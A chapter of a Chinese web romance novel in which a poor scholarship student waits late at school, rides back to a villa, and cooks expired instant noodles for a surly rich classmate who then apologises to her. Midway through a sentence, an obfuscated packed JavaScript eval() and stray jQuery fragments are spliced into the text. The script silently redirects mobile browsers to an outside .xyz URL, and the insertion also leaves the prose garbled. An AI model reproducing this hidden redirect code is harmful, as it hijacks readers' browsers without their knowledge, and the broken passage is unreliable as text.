4. 道歉

作品:《我想你,很久了[暗恋成真]

    接近八点半,天色已经完全暗下来。整个校园沉浸在一片黑暗中,只有最后那栋高年级教学楼还灯火通明。


    早上坐王江的车来学校时,她特意记了路线。


    快速路到别墅区口这一段倒是有几路公交车,只是到了别墅区却还有五六公里的路程才能到陆家别墅。


    梁璐不舍的打车,来陆家时爷爷把攒了很久的八百块钱硬塞给她说,身上有点钱,能多些安全感。


    她想过坐公交车,然后走路回去,可这样一来,恐怕回去都要凌晨了。以前在镇上的时候,每当暑假她也会跟着大人去山上做活挣些生活费补贴家用,风餐露宿也是常态。


    这样一想,她索性既来之则安之。


    教学楼的挑廊处,有木质长凳,梁璐就坐在那里预习明天要学的英语单词。


    镇上教学资源比不得江城,平时上课,老师都用方言教学,就连讲出来的英语都一股浓浓的阜南口音。


    梁璐天生语感差,于是由最开始的发音不标准,到后来句子结构不清晰,英语成绩就这样落下来。


    今天上课,英语老师时不时的点名叫人起来回答问题,梁璐整节英语课都忐忑不安,生怕被叫起来。


    “Ambulance”


    梁璐回想着今天上课时老师的发音,重复了几遍这个单词。


    倏然,一道冷淡又带着嘲讽的声音划过头顶。


    “俺……不能死?你英语体育老师教的?”


    声音刚落,梁璐猛的回头,与陆昱晨湖瞳似的眸子对了个正着。


    窘迫像头洪水般袭来,到底是自尊心极强的年纪,梁璐的脸肉眼可见的红了起来。


    胡乱将英语书塞回书包,梁璐忽略了刚才那个问题,对于他的忽然出现仍然有点难以置信。


    “陆……”也许不熟的缘故,所以觉得喊他的名字有些唐突,梁璐立刻改口道:“是你啊。”


    “废话,难不成是鬼。”陆昱晨拖着尾音,语气欠欠的。


    “……”


    梁璐一噎,不知如何回话。垂下眼,伸手挠了挠脚踝处新鲜出炉的两个蚊子包。


    陆昱晨注意到她的动作,又补了一刀,“你们镇上的人都喜欢晚上坐在灌木丛里喂蚊子?”


    “……”


    “还不走?”


    “啊?哦,好。”


    “……”


    陆昱晨没再说话,瘦高的背影穿过长廊,往校门口的方向走去。


    梁璐则生怕跟丢,紧随其后。


    到了学校门口,王江恰好刚停下车。


    他拿纸巾抹了把汗,脸上的忐忑一览无余。


    下车,恭恭敬敬的拉开车门。


    只是没想到陆昱晨没理会,下巴朝梁璐点了一下,示意她上去。


    “少爷您……”


    “你们走。”陆昱晨说完径直走到旁边一辆深色摩托车旁,脚下一蹬,车子绝尘而去。


    黑夜中一道声音划破天际,梁璐也终于恍然回神。


    她这才意识到,原来他是从家里又返回学校的,想必是忘了等人,复又回来找她。


    意识到这个,梁璐不免自责起来。别墅离学校太远,往返费时费力,况且住在陆家总有一种寄人篱下的感觉,梁璐在心里想,要是等下周,能住上学生宿舍就好了。


    她之所以会焦虑是否能住宿舍,主要是因为中午吃饭时宋臻提起过,陆昱晨不住学生宿舍,学校旁边有一栋公寓楼,两室一厅的房子,平时只他一个人住,沈君彦决定资助她时,曾提过,公寓那儿宽敞,安静,方便学习。


    不过梁璐转念一想,根据这一天陆昱晨对她不耐烦的表现,大概率是不会同意她一起住在公寓的。


    这么想着,梁璐暗自松了口气……


    老城区烟火气浓,路两侧都是小商铺,卖什么的都有。


    露天烧烤摊时不时传来一阵阵笑骂声,此起彼伏。


    不同于新城的高楼大厦,倒是和小镇中学的后街很像。


    梁璐靠着窗,呆呆的看着外面,不知想些什么。


    王江后视镜里看了她一眼,“冷的话可以把窗户关小点。”


    “不冷的。”梁璐温声说,眼神不由的落在前方骑摩托车的少年身上。


    他微弓着背,摩托车和王江的汽车始终保持着百米的距离。


    路口等红灯的时候,少年腾出右手看了眼手机。


    也不知道看到了什么,绿灯再亮起,少年忽然剑一样冲了出去,虽然看不到他的表情,梁璐却隔空感受到一股浓烈的戾气。


    回到别墅,是晚上九点。


    梁璐进门时,陆昱晨已经停好车,正在厨房翻找什么。听到声音,他眼皮都懒的抬一下,继续手上的动作。


    他晚上没吃东西,胃里空空的。拉开冰箱,里面除了一排苏打水,就只剩两颗鸡蛋。


    “……”


    陆昱晨皱眉合上冰箱门,视线落在冰箱上方一个白色塑料袋上。


    袋里是两包过期方便面,佣人张阿姨临走前几天,特意叮嘱过,千万不要吃,过期了。


    他当时说,“过期了还不扔,留着过年吗?”


    张阿姨笑笑说,“就这么扔了怪可惜,那天煮了喂路上那几只流浪狗。”


    陆昱晨犹豫几秒,终究没抵过肚子里翻江倒海的饥饿感。


    取下塑料袋,从里面拿出一包,撕开口子,一口咬下去。


    这一咬,让他门牙差点磕掉。面饼受了潮,边上硬了一坨。


    陆昱晨低声“操”了一句,烦躁的心情愈演愈烈。


    拎起方便面想都没想直接丢到了垃圾桶,接着抬腿,步子沉沉的转身上楼。


    梁璐急忙开口:“等......”


    后面的字没来得及说出口,陆昱晨回头,眼神冷的出奇:“别、跟、我、说、话。”


    梁璐识相的闭上嘴,目送着人上楼,随后迟疑了片刻,从垃圾桶把方便面捡了出来......


    陆昱晨回到卧室后,什么都没做,径直走到床边,重重摔倒在床上。


    旁边的翻盖手机一条信息格外惹眼,“操,你猜我看见什么了?”


    署名是陈霖。


    再往下一条,是刚刚收到的。


    “夏晴和那个甄他妈剑一起去市图书馆了?”


    陆昱晨面无表情的扔下手机,转身去了浴室。


    冲了个热水澡,出来后,发现腿更疼了,可能是刚才骑摩托车的时候二次拉伤的缘故。


    陆昱晨这才想起要喷药。


    一瘸一拐的走到沙发边儿,扯过书包,翻了翻,才想起云南白药被他忘在校医室了。


    这半天的遭遇让陆昱晨气极反笑,他低声骂了一句,靠着床边躺下去,咬牙撑着将受伤的一只脚耷拉在床边。


    就这样躺着,什么也不干,脑袋空空的。不知过了多久,就在陆昱晨快睡着的时候,一阵轻轻的敲门声响起来。


    陆昱晨并不打算理会,侧身往里挪了挪,换了个更


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064707|163062||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    舒服的姿势继续睡。


    敲门声停了一会儿,又再次响了起来。


    极轻的几下敲门声,对陆昱晨而言却像炮仗一样一点就着。他忍着饥肠辘辘和腿部钻心的疼,想都没想,冲着门口喊了一句:“能不能别他妈的烦我。”


    “......”


    门外的敲门声戛然而止,伴随着一阵越来越远的脚步声,陆昱晨的理智也恢复了大半。


    他拉开门,一瘸一拐的走下楼,干净的餐桌上一碗热气腾腾的泡面顿时吸引了他的目光。


    原来她是叫他下来吃面的。


    陆昱晨觉的自己挺混蛋的,不过比起这点经不起推敲的内疚感,胃里的饥饿感更强烈。


    坐在桌前,狼吞虎咽起来。


    没想到小姑娘挺能耐,一包过期的方便面居然被她做的这么好吃。


    吃完饭,陆昱晨把碗筷洗了,想上楼,又想到什么似的,走到拐角那间紧闭的客房门口,抬手敲了敲门。


    半秒过后,门被打开。小姑娘娇小的脸蛋出现在门口,要多乖巧有多乖巧。


    “那个......”陆昱晨心里想说对不起,可是话到了嘴边,那股傲娇劲儿又上来,“方便面......挺好吃。”


    梁璐抿抿唇,表情淡淡的,“那就好。”


    小姑娘低眉垂眼的样子,刺的陆昱晨心脏微颤,天生骨子里就不是恶语相向的人。


    张了张嘴,吐出几个字。


    “刚才……对不起。”


    梁璐怔怔的看着人,心底有种别样的情绪在升起。这种感觉很奇怪,她自己也说不清。


    她比别的同龄人更早体会过世态炎凉,也深知这个世界是有等级之分的。


    过早的成熟,让她养成一种坚韧中带着些许麻木的性格。


    不会因为不喜欢而生气,也不会因为喜欢而争抢。


    无论别人怎么挖苦讽刺她都很少哭,没心没肺的像个陀螺一样。


    以前在镇上读书,因为要照顾生病的爷爷,迟到就成了家常便饭。


    有一次,爷爷病的厉害,吐了一地,梁璐早起跑到村卫生所买药,做好饭自己没吃一口,就着急把地收拾干净,往学校赶。


    时间太急,她根本没注意到衣服上沾了一块污秽。


    同桌是个个子不高,胖胖的男生。看到后,捂着鼻子破口大骂,“梁璐你是沾了屎吗?这么臭。”


    梁璐红着脸,心里委屈巴巴,面上却讨好似的解释着,“不是的,爷爷吐了,我帮他收拾,不小心沾到一块,我这就去洗。”


    同桌不依不饶:“真是够了,每天不是屎尿就是呕吐物,跟你同桌,晦气死了。”


    一向以助人为乐古道热肠著称的班长听到吵闹,笑呵呵的过来做和事老,“行了行了,怎么还没完没了呢。”说完向她递了个眼神,示意她没事,快去忙。


    梁璐感激的冲班长连连道谢。结果梁璐刚出门,就听到班长大人的哄笑声,“你点儿可真背,跟屎壳郎天天坐一起,小心感染病毒啊。”


    “……”


    梁璐委屈的不行,拳头握的紧紧的。


    可是她并没有哭,只是面无表情的洗掉污秽,返回教室后,像个没事儿人一样继续上课。


    这样的事情遇的多了,也就麻木无所谓了。之后再遇上什么事,她都能做到平静无波。


    好像习惯了别人的恶语相向,和不被尊重,突如其来的道歉,让梁璐心底倏的一怔,忽然有种手足无措的感觉。